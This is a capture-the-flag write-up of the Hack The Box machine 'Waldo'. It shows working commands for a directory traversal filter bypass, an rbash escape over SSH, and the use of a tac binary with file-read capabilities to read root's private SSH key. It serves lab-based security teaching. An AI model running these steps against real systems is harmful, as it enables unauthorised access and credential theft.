Hack The Box - WaldoPublished December 15, 2018
These writeups should be taken as insight into the processes and techniques involved rather than a walkthrough to completing the boxes in question. You should never execute code without first understanding what it does, and always do outside research in order to figure out why you're taking the steps you are. This is for your safety, and also ensures that you have an understanding of the fundamentals involved with the ability to reproduce things in new and different scenarios. As such, while these guides outline fairly precise steps to take, some of the more basic information may be omitted for brevity.
If you do not understand what is going on, read the manual until you do.
Waldo was a box that was easy to start but much more difficult to finish than I was expecting, and with a neat trick at the end that I personally hadn't known of before. I highly recommend anyone to try this box out, as it really teaches you a couple of techniques that otherwise may have been overlooked.
After our initial full-range scan of the box, we're given a difficult choice between SSH and HTTP.
att$ nmap -p- -A -T4 10.10.10.87 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.5 (protocol 2.0) 80/tcp open http nginx 1.12.2 8888/tcp filtered sun-answerbook
When we visit the web server it in our browser, we're presented with a web app that was designed to be a list manager. We're able to create and delete lists, and then create, delete, and edit list items, all on a single-load web interface.
Upon closer inspection of the page source and checking the
We get a JSON encoding of the raw page, so we can see that this is indeed exacly what's going on.
Local File Inclusion
Let's now try some more paths and read some more files to see if there's any restrictions, and if there's any way for us to get around those restrictions.
js> JSON.parse(readDir('')).join("\n") "[".","..",".list","background.jpg","cursor.png","dirRead.php","face.png","fileDelete.php","fileRead.php","fileWrite.php","index.php","list.html","list.js"]" js> JSON.parse(readFile('dirRead.php'))['file'] ... $_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']); ... js> JSON.parse(readFile('fileRead.php'))['file'] ... $_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']); ...
There's something very interesting that is immediately noticeable. These *Read.php files both contain a line that is intended to prevent climbing up the directory tree, but it has what looks to be a major typo: It uses
str_replace to nullify
.." from the resource request, but
" doesn't really do anything in a URL anyway. Since it only does one round of this filter we should be able to use the latter replacement to bypass the former replacement. By giving it
...."/, it will result in
../ and use that to retrieve a file.
js> JSON.parse(readDir('...."/')).join("\n") . .. html localhost
Ignoring the fact that we could get to this directory listing by just using
.. as our request, we've done it here with an included trailing slash. Our directory traversal was a success, so now we get to explore around without our previous restrictions. With enough time, we come across our ticket into the server, a private SSH key. Once we have it, we can copy it to our local SSH directory, add it to our config, and SSH in.
js> JSON.parse(readFile('...."/...."/...."/home/nobody/.ssh/.monitor'))['file'] att$ ssh 10.10.10.87
This is where things start to ramp up. First off, we'll enumerate the system to get the details of what we're working with.
wal$ id uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) wal$ uname -a Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64 Linux wal$ cat /etc/passwd | grep sh$ root:x:0:0:root:/root:/bin/ash operator:x:11:0:operator:/root:/bin/sh postgres:x:70:70::/var/lib/postgresql:/bin/sh nobody:x:65534:65534:nobody:/home/nobody:/bin/sh wal$ ip route default via 10.10.10.2 dev ens33 onlink 10.10.10.0/24 dev ens33 src 10.10.10.87 169.254.0.0/16 dev ens33 metric 1000 172.17.0.0/16 dev docker0 src 172.17.0.1 wal$ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 waldo wal$ ps aux ... wal$ cat .ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzuzK0MT740dpYH17403dXm3UM/VNgdz7ijwPfraXk3B/oKmWZHgkfqfg1xx2bVlT6oHvuWLxk6/KYG0gRjgWbTtfg+q3jN40F+opaQ5zJXVMtbp/zuzQVkGFgCLMas014suEHUhkiOkNUlRtJcbqzZzECV7XhyP6mcSJFOzIyKrWckJJ0YJz+A2lb8AA0g3i9b0qyUuqIAQMl9yFjnmwInnXrZj34jXHOoXx71vXbBVeKu82jw8sacUlXDpIeGY8my572+MAh4f6f7leRtzz/qlx6jCqz26NGQ3Mf1PWUmrgXHVW+L3cNqrdtnd2EghZpZp+arOD6NJOFJY4jBHvf
We see some neat things from this. Besides being in a Docker container, we can see that the entry in
authorized_keys is from a user by the name of "monitor" under this same hostname - but there is no user by that name on this system! That name is also the name on the key that we used to get where we are currently, so what if it's a user on the container's host?
wal$ ssh monitor@localhost -i .ssh/.monitor
We find Waldo! And get a bit of a heart attack from that jump scare. It gets trickier from here, since our $PATH is limited and we can't run any commands with '/' due to an rbash session.
wal$ id -rbash: id: command not found wal$ echo $PATH /home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1 wal$ ls bin ls most red rnano wal$ rnano /etc/passwd root:x:0:0:root:/root:/bin/bash ... steve:x:1000:1000:steve,,,:/home/steve:/bin/bash monitor:x:1001:1001:User for editing source and monitoring logs,,,:/home/monitor:/bin/rbash
Thankfully, this restriction can very easily be bypassed by adding an extra option to SSH that tells it to create a session with a program that we specify. Let's exit out of this and head back in, this time going into bash (and restoring our PATH to normal).
wal$ exit wal$ ssh monitor@localhost -i .ssh/.monitor -t bash wal$ PATH=$PATH:/bin:/usr/bin:/sbin
We're much more free to move around now, and we won't have to type out the full path for every single command. Reading through the source of
logMonitor, a program that has two copies within the current directory and also our path, we can determined that it does exactly what it says on the tin: It reads system logs and prints them out. Interestingly though, if we try to run them, one of them fails to read anything while the other seems to have no issue at all.
wal$ logMonitor -d Cannot open file wal$ logMonitor-0.1 -d ...
This is typical behaviour of SUID, which allows a program to be run as though it were called by the owning user rather than the executing user, but this doesn't seem to be the case. When permissions are checked, programs show an "s" in the execute slot to show when the SUID bit is set, but they just show a normal "x" instead.
wal$ ls -lR | grep logMonitor -rwxrwx--- 1 app-dev monitor 13706 Sep 30 23:08 logMonitor -r-xr-x--- 1 app-dev monitor 13706 May 3 16:50 logMonitor-0.1
There's actually another way that programs can exhibit this behaviour. Programs can have what are known as "capabilities", which are more granular elevated priveleges. This allows programs to be able to read files, modify files, bind ports, and more, all without necessarily giving it other priveleges beyond what's needed. In other words, a program such as logMonitor could be set to read whatever files it wants without an option to write or do anything else that a fully-priveleged program would otherwise be able to do. We can check this with the
getcap command (and set it with the
setcap command if we're ever able to).
wal$ getcap app-dev/logMonitor wal$ getcap app-dev/v0.1/logMonitor-0.1 app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
We can see from that output that it does in fact have a capability set, specifically
cap_dac_read_search. That's great, but there's no way to set what files we want it to read outside of the limited log options that are hard-coded into it. But if the owner of the system has a capibility set here, maybe they have it set on something else as well? We can actually search the system for any other files like that by using the
-r flag for recursion.
wal$ getcap -r / 2>/dev/null /usr/bin/tac = cap_dac_read_search+ei /home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
It looks like the program
cat) has reading enabled as well! We can't really use it to write files or spawn new processes, but we can still read any sensitive files as long as we know the name of them. We can even read it without it being reversed by setting the separator value to an empty string. One file that often uses a predictable name happens to be the SSH private key.
wal$ tac -s '' /root/.ssh/id_rsa
And just like that, we have root's private SSH key! We can now use it to log in as them and do whatever we feel like on the machine.
After finding a web application, we exploited a file inclusion vulnerability to get an SSH private key to a user running in a Docker container. We then used that same key internally to SSH out of the Docker container and into one of the host machine's users. From there, we escaped a restricted Bash session and found a command with the file read capability set, allowing us to read the root user's private SSH key.
This box was a lot of fun to figure out. It started off very simply with a classic LFI vulnerability but got much more difficult once we were actually in it, creating a fairly large difficulty curve with an unexpected final trick. Capabilities are something on Linux that I had actually never heard of before attempting this box. It's not something that I've seen discussed when it comes to privesc, either; usually any guides, checklists, and cheat sheets on the topic that I've seen focus on ownership and SUID. This is certainly a nice addition to a privesc toolkit.